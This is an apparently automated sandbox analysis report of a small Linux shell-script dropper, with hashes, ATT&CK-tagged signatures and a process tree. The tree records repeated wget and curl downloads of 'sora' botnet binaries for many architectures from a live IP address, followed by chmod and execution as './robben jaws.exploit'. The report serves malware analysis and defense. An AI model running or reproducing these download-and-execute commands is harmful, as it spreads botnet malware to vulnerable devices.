Analysis

  • max time kernel
    37s
  • max time network
    41s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2024, 01:47

General

  • Target

    5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh

  • Size

    2KB

  • MD5

    891d1dcbed8ea0751d0c0d0fec39ae18

  • SHA1

    57db06f345b0d9b4e2a7f4a502678a82ed792174

  • SHA256

    5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a

  • SHA512

    20efcebab56d13d819a5fc0f1cdaf5952ec218e8ad4a8ecad863b5ccbbbc60bf82ad7bedb67196ae51c9c0156fce1a2279013018268560331c3b436762ed2992

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh
    /tmp/5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh
    1⤵
    • Writes file to tmp directory
    PID:663
    • /usr/bin/wget
      wget http://93.123.85.141/bins/sora.x86
      2⤵
        PID:665
      • /usr/bin/curl
        curl -O http://93.123.85.141/bins/sora.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        PID:673
      • /bin/cat
        cat sora.x86
        2⤵
          PID:681
        • /bin/chmod
          chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-ZpoUbd
          2⤵
          • File and Directory Permissions Modification
          PID:684
        • /tmp/robben
          ./robben jaws.exploit
          2⤵
          • Executes dropped EXE
          PID:686
        • /usr/bin/wget
          wget http://93.123.85.141/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:690
        • /usr/bin/curl
          curl -O http://93.123.85.141/bins/sora.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:692
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:696
        • /bin/chmod
          chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-ZpoUbd
          2⤵
          • File and Directory Permissions Modification
          PID:698
        • /tmp/robben
          ./robben jaws.exploit
          2⤵
          • Executes dropped EXE
          PID:699
        • /usr/bin/wget
          wget http://93.123.85.141/bins/sora.x86_64
          2⤵
            PID:701
          • /usr/bin/curl
            curl -O http://93.123.85.141/bins/sora.x86_64
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            PID:703
          • /bin/cat
            cat sora.x86_64
            2⤵
              PID:705
            • /bin/chmod
              chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-ZpoUbd
              2⤵
              • File and Directory Permissions Modification
              PID:706
            • /tmp/robben
              ./robben jaws.exploit
              2⤵
              • Executes dropped EXE
              PID:707
            • /usr/bin/wget
              wget http://93.123.85.141/bins/sora.i468
              2⤵
                PID:709
              • /usr/bin/curl
                curl -O http://93.123.85.141/bins/sora.i468
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                PID:710
              • /bin/cat
                cat sora.i468
                2⤵
                  PID:711
                • /bin/chmod
                  chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-ZpoUbd
                  2⤵
                  • File and Directory Permissions Modification
                  PID:712
                • /tmp/robben
                  ./robben jaws.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:713
                • /usr/bin/wget
                  wget http://93.123.85.141/bins/sora.i686
                  2⤵
                    PID:715
                  • /usr/bin/curl
                    curl -O http://93.123.85.141/bins/sora.i686
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    PID:718
                  • /bin/cat
                    cat sora.i686
                    2⤵
                      PID:721
                    • /bin/chmod
                      chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-ZpoUbd
                      2⤵
                      • File and Directory Permissions Modification
                      PID:723
                    • /tmp/robben
                      ./robben jaws.exploit
                      2⤵
                      • Executes dropped EXE
                      PID:725
                    • /usr/bin/wget
                      wget http://93.123.85.141/bins/sora.mpsl
                      2⤵
                        PID:727
                      • /usr/bin/curl
                        curl -O http://93.123.85.141/bins/sora.mpsl
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        PID:734
                      • /bin/cat
                        cat sora.mpsl
                        2⤵
                          PID:756
                        • /bin/chmod
                          chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-ZpoUbd
                          2⤵
                          • File and Directory Permissions Modification
                          PID:758
                        • /tmp/robben
                          ./robben jaws.exploit
                          2⤵
                          • Executes dropped EXE
                          PID:759
                        • /usr/bin/wget
                          wget http://93.123.85.141/bins/sora.arm4
                          2⤵
                            PID:761
                          • /usr/bin/curl
                            curl -O http://93.123.85.141/bins/sora.arm4
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            PID:766
                          • /bin/cat
                            cat sora.arm4
                            2⤵
                              PID:775
                            • /bin/chmod
                              chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-ZpoUbd
                              2⤵
                              • File and Directory Permissions Modification
                              PID:777
                            • /tmp/robben
                              ./robben jaws.exploit
                              2⤵
                              • Executes dropped EXE
                              PID:778
                            • /usr/bin/wget
                              wget http://93.123.85.141/bins/sora.arm5
                              2⤵
                                PID:780
                              • /usr/bin/curl
                                curl -O http://93.123.85.141/bins/sora.arm5
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:781
                              • /bin/cat
                                cat sora.arm5
                                2⤵
                                  PID:782
                                • /bin/chmod
                                  chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-ZpoUbd
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:783
                                • /tmp/robben
                                  ./robben jaws.exploit
                                  2⤵
                                  • Executes dropped EXE
                                  PID:784
                                • /usr/bin/wget
                                  wget http://93.123.85.141/bins/sora.arm6
                                  2⤵
                                    PID:786
                                  • /usr/bin/curl
                                    curl -O http://93.123.85.141/bins/sora.arm6
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    PID:787
                                  • /bin/cat
                                    cat sora.arm6
                                    2⤵
                                      PID:788
                                    • /bin/chmod
                                      chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-ZpoUbd
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:789
                                    • /tmp/robben
                                      ./robben jaws.exploit
                                      2⤵
                                      • Executes dropped EXE
                                      PID:790
                                    • /usr/bin/wget
                                      wget http://93.123.85.141/bins/sora.arm7
                                      2⤵
                                        PID:792
                                      • /usr/bin/curl
                                        curl -O http://93.123.85.141/bins/sora.arm7
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        PID:793
                                      • /bin/cat
                                        cat sora.arm7
                                        2⤵
                                          PID:797
                                        • /bin/chmod
                                          chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-ZpoUbd
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:799
                                        • /tmp/robben
                                          ./robben jaws.exploit
                                          2⤵
                                          • Executes dropped EXE
                                          PID:801
                                        • /usr/bin/wget
                                          wget http://93.123.85.141/bins/sora.ppc
                                          2⤵
                                            PID:804
                                          • /usr/bin/curl
                                            curl -O http://93.123.85.141/bins/sora.ppc
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            PID:809
                                          • /bin/cat
                                            cat sora.ppc
                                            2⤵
                                              PID:813
                                            • /bin/chmod
                                              chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:814
                                            • /tmp/robben
                                              ./robben jaws.exploit
                                              2⤵
                                              • Executes dropped EXE
                                              PID:816
                                            • /usr/bin/wget
                                              wget http://93.123.85.141/bins/sora.ppc440fp
                                              2⤵
                                                PID:818
                                              • /usr/bin/curl
                                                curl -O http://93.123.85.141/bins/sora.ppc440fp
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                PID:822
                                              • /bin/cat
                                                cat sora.ppc440fp
                                                2⤵
                                                  PID:826
                                                • /bin/chmod
                                                  chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:827
                                                • /tmp/robben
                                                  ./robben jaws.exploit
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:829
                                                • /usr/bin/wget
                                                  wget http://93.123.85.141/bins/sora.m68k
                                                  2⤵
                                                    PID:831
                                                  • /usr/bin/curl
                                                    curl -O http://93.123.85.141/bins/sora.m68k
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    PID:834
                                                  • /bin/cat
                                                    cat sora.m68k
                                                    2⤵
                                                      PID:837
                                                    • /bin/chmod
                                                      chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:838
                                                    • /tmp/robben
                                                      ./robben jaws.exploit
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:839
                                                    • /usr/bin/wget
                                                      wget http://93.123.85.141/bins/sora.sh4
                                                      2⤵
                                                        PID:842
                                                      • /usr/bin/curl
                                                        curl -O http://93.123.85.141/bins/sora.sh4
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        PID:844
                                                      • /bin/cat
                                                        cat sora.sh4
                                                        2⤵
                                                          PID:848
                                                        • /bin/chmod
                                                          chmod +x 5a4fe2a7a0edf99b3f91d79fd53f4abce9872234f95d22241083e6749ae17f7a.sh robben
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:850
                                                        • /tmp/robben
                                                          ./robben jaws.exploit
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:851

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads